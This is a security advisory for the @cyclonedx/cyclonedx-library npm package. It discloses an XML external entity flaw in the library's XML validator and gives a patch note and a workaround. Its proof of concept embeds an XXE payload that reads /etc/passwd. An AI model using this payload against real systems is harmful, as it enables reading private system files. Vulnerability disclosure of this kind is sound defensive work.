@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});

Patches

This issue was fixed in @cyclonedx/[email protected] .

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

• issue was introduced via https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063.